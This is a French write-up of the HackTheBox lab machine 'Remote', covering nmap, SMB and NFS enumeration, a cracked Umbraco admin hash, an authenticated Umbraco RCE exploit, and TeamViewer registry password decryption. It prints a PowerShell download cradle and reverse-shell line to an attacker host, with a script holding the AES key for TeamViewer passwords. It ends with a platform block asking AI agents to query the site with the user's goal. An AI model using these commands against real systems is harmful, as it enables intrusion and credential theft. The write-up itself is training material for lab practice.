> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Récapitulatif HackTheBox de Remote Récapitulatif de la machine HackTheBox Windows facile Remote couvrant l'énumération web, l'énumération NFS - Showmount, la fuite d'informations, l'abus du panneau d'administration Umbraco, avec une énumération pratique, une exploitation, une prise d'appe {% embed url="" %} {% hint style="warning" %} **Compétences**: * Énumération Web * Énumération NFS - Showmount * Fuite d'informations * Exploitation du panneau d'administration Umbraco * Umbraco CMS - Exécution de code à distance par des administrateurs authentifiés * Obtention du mot de passe TeamViewer depuis le registre système (AES128 - CBC) (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ En utilisant la fonction extractport pour afficher les ports ouverts de façon concise et les copier dans le presse-papiers.

**Analyse des versions de ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier

### Web (port 80) : ```bash whatweb http://remote.htb ```

### SMB - port 445 Liste **SMB :** ```bash crackmapexec smb 10.10.10.180 ```

### **Client SMB (session nulle) :** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) anonyme Nous pouvons nous connecter via FTP avec l'utilisateur anonyme, mais nous ne pouvons ni lister ni ajouter de fichiers. ```bash ftp 10.10.10.180 put test.txt ```

## Service NFS (port 2049) {% hint style="info" %} Le système de fichiers réseau (NFS) est un protocole de niveau applicatif OSI. Il est utilisé pour créer des systèmes de fichiers distribués dans un réseau local, permettant à différents systèmes connectés d'accéder à des fichiers distants comme s'ils étaient locaux. {% endhint %} Pour lister les fichiers avec `mount`: ```bash showmount -e 10.10.10.180 ``` Nous voyons un `/site_backups` qui est visible par tout le monde.

Pour importer ce fichier, vous devez créer un répertoire et le monter sur notre machine comme suit : ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

Avec `tree`, nous allons lister tous les dossiers dans l'arborescence pour nous faire une idée : ``` tree -L 2 ``` Nous voyons un `.config` configuration et `sdf` dossier de la base de données Umbraco (un CMS) du port 80.

Le `.conf` le fichier ne contient rien d'intéressant, et le `umbraco.sdf` est un fichier binaire.

Nous allons utiliser `strings` pour afficher les caractères visibles et les mettre dans notre répertoire pour une analyse détaillée : ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Nous trouvons des mots de passe "admin" et un utilisateur "smith".

### Craquage de mot de passe : Admin (hash) : `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin : `baconandcheese` #### Comme SMB est exposé, utilisez CrackMapExec pour s'authentifier et valider l'accès ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### aucun effet

## Vulnérabilité RCE (Umbraco CMS) Nous trouvons un panneau d'administration et allons essayer l'authentification de l'utilisateur admin : `admin@htb.local:baconandcheese`

Nous avons accès.

Nous allons chercher `Searchsploit` les vulnérabilités de ce CMS et trouver un script NCE pour Umbraco.

`searchsploit -m aspx/webapps/46153.py` Nous allons modifier les paramètres de connexion, de mot de passe et d'hôte dans le script.

**Vérifiez la connectivité avec ping :**/ Nous exécuterons cette commande sur le serveur, et nous écouterons avec tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine. {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Nous allons créer un serveur web avec le `PS.ps1` script : ```bash python3 -m http.server 80 ``` Ensuite, nous allons modifier la commande pour qu'elle pointe vers notre serveur web : {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Enfin, nous écoutons sur le port 4444 : ```bash rlwrap nc -nlvp 4444 ```

Accès au `fichier user.txt` fichier et constater que TeamViewer est installé

## Élévation de privilèges : Si vous regardez les tâches en cours d'exécution, vous pouvez voir TeamViewer version 7. ```powershell tasklist /svc ```

En cherchant dans les scripts Metasploit, nous en trouvons un qui peut récupérer le mot de passe de TeamViewer : ```powershell locate teamviewer | grep metasploit ```

Lors de l'analyse du script, vous devez d'abord obtenir la clé (selon la version) depuis le registre : `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Ensuite, les propriétés de sécurité doivent être examinées, en particulier le mot de passe AES : ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Mettez les octets suivants dans `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Script d'automatisation Python : Voici le script qui automatise l'ensemble du processus : ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

Le mot de passe est `!R3m0te!`. Nous vérifierons avec CrackMapExec si le mot de passe est correct pour l'utilisateur `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Nous nous connectons avec Evil-WinRM, car le service d'administration Windows à distance est actif sur le port 5985 :

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Flag root final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.